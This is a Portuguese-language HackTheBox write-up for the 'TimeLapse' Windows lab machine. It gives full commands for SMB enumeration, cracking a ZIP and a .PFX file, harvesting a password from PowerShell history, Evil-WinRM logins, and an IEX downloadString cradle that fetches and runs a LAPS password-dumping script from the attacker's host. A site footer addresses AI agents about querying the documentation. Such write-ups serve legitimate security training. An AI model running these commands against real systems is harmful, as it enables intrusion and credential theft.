> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Writeup do HackTheBox TimeLapse Writeup da máquina Easy Windows TimeLapse do HackTheBox cobrindo enumeração SMB, cracking de arquivo protegido por senha ZIP (fcrackzip), cracking e leitura de arquivo .PFX (crackpkcs12), acesso SSL com Evil {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Quebrando arquivo ZIP protegido por senha (fcrackzip) * Quebrando e lendo arquivo .PFX (crackpkcs12) * Obtendo acesso SSL com Evil-WinRM * Vazamento de informações - Lendo o histórico do PowerShell do usuário (Pivotamento de usuário) * Abusando do LAPS para obter senhas (Get-LAPSPasswords.ps1) (Escalada de privilégio) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versões de portas com Nmap :**/ Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Configuração do arquivo /etc/hosts para resolução de DNS.

## **Listagem e exploração:** ### Identificar o nome da máquina e o domínio Usando o CrackMapExec para identificar o nome da máquina e seu domínio. ```bash crackmapexec smb 10.10.11.152 ```

### Listar arquivos compartilhados com SMB: Usando smbclient e smbmap para listar arquivos compartilhados. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Acesso à pasta compartilhada e descoberta de arquivo ZIP protegido por senha** Exploração e identificação de arquivos na pasta compartilhada, revelando um arquivo ZIP protegido. ```bash smbclient //10.10.11.152/Shares -N ```

### **Quebra da senha do arquivo ZIP com fcrackzip** Usando fcrackzip para tentar encontrar a senha do arquivo ZIP. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extração do arquivo .PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Quebra da senha do arquivo .PFX:** #### Para quebrar a senha de um arquivo pfx, será usada a ferramenta crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Obter a chave privada e o certificado do arquivo .PFX** Recuperação da chave privada

Recuperação do certificado ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **Conexão SSL com Evil-WinRM usando a chave privada e o certificado**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Obter a primeira flag** Obtendo a primeira flag, "user.txt"

## Escalada de privilégios: **Listagem de usuários e privilégios do DC com net users e whoami /priv** Identificação de usuários e privilégios no controlador de domínio.

#### **Análise dos grupos de usuários e descoberta da associação do usuário "svc/ deploy" ao grupo "LAPS/ Readers"**

#### **Obter a senha do usuário "svc/ deploy" lendo o histórico do PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Validação da senha com CrackMapExec** Confirmação da validade da senha obtida com o CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Login no Evil-WinRM usando as credenciais do usuário "svc/ deploy"** Conectando-se ao sistema remoto usando as credenciais do usuário "svc/ deploy" com Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Uso do Get-LAPSPasswords para extrair senhas** {% embed url="" %} #### **Baixar o script Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Execução do script e recuperação das senhas administrativas**

### **Validação da senha de administrador com CrackMapExec** Confirmação da validade da senha obtida com o CrackMapExec para o usuário Administrator. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Conexão final com Evil-WinRM usando as credenciais de administrador** Conexão final ao sistema com credenciais administrativas via Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **Flag final obtida :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.